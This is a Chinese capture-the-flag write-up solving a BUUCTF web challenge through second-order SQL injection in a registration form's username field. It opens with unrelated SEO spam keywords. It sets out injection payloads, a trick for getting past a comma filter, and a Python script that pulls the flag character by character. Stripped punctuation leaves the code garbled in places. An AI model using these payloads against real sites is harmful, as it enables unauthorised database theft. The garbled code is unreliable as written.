福田网站 建设seo信科,国际域名注册费用,标题正文型网站,物流网站建设策划书一、环境#xff1a;在线测试平台
BUUCTF在线评测 (buuoj.cn)
二、进入界面先尝试万能账号
1or11# 换格式 hais1bux1
11or11# 三、万能的不行那我们就得想注册了#xff0c;去register.php去看看 注册个账号 发现用户名回显#xff0c;猜测考点为用户名处二次注入…一、环境在线测试平台
BUUCTF在线评测 (buuoj.cn)
二、进入界面先尝试万能账号
1or11# 换格式 hais1bux1
11or11# 三、万能的不行那我们就得想注册了去register.php去看看 注册个账号 发现用户名回显猜测考点为用户名处二次注入再次注册 很明显是有的 三、如何解决
在mysql中我们熟知一点是可以当做运算符 比如我们执行
select ‘1’‘2a’ 返回值为空
select 0database(); 当我们用ASCII值来计算时此时出现库第一位s的ASCII码值 select 0ascii(substr(database(),1,1)); 因为题目中过滤掉了逗号因此用from for来代替
0ascii(substr(database() from 1 for 1))0; 成功回显因为过滤了information只能猜字段名为flag所以去用python脚本爬 脚本如下
# -*- coding:utf-8 -*-Author: lingchenwudiandexing
contact: 3131579667qq.com
Time: 2024/2/19 1:04
version: 1.0import requests
import logging
import re
from time import sleep# LOG_FORMAT %(lineno)d - %(asctime)s - %(levelname)s - %(message)s
# logging.basicConfig(levellogging.DEBUG, formatLOG_FORMAT)def search():flag url http://19f46d59-6746-4dce-84c1-73a67354f6d1.node5.buuoj.cn/url1 urlregister.phpurl2 urllogin.phpfor i in range(100):sleep(0.3)#不加sleep就429了QAQdata1 {email : 1234{}123.com.format(i), username : 0ascii(substr((select * from flag) from {} for 1))0;.format(i), password : 123}data2 {email : 1234{}123.com.format(i), password : 123}r1 requests.post(url1, datadata1)r2 requests.post(url2, datadata2)res re.search(rspan classuser-name\s*(\d*)\s*/span,r2.text)res1 re.search(r\d, res.group())flag flagchr(int(res1.group()))print(flag)print(final:flag)if __name__ __main__:search()
四、最终答案